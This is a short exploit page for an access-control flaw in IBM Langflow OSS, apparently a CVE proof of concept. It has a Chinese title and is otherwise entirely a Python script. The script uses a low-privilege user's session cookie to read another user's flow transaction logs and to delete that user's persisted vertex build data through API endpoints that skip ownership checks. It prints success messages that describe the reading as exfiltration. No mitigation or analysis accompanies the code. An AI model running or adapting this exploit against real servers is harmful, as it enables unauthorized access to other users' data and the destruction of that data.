CVE-2026-6542 IBM Langflow OSS越权访问漏洞

import requests # Target URL configuration target_host = "http://vulnerable-langflow-server:5000" attacker_cookie = "session_id_of_low_priv_user" victim_flow_id = "uuid_of_victim_flow" headers = { "Cookie": f"session={attacker_cookie}", "Content-Type": "application/json" } # 1. Exploit: Read transaction logs and vertex build data # The API fails to check if the attacker owns victim_flow_id read_logs_url = f"{target_host}/api/v1/flows/{victim_flow_id}/logs" response = requests.get(read_logs_url, headers=headers) if response.status_code == 200: print("[+] Successfully exfiltrated victim's transaction logs:") print(response.text) else: print("[-] Failed to read logs") # 2. Exploit: Delete persisted vertex build data # The API allows deletion of data owned by another user delete_data_url = f"{target_host}/api/v1/flows/{victim_flow_id}/data" del_response = requests.delete(delete_data_url, headers=headers) if del_response.status_code == 200: print("[+] Successfully deleted victim's persisted vertex build data") else: print("[-] Failed to delete data")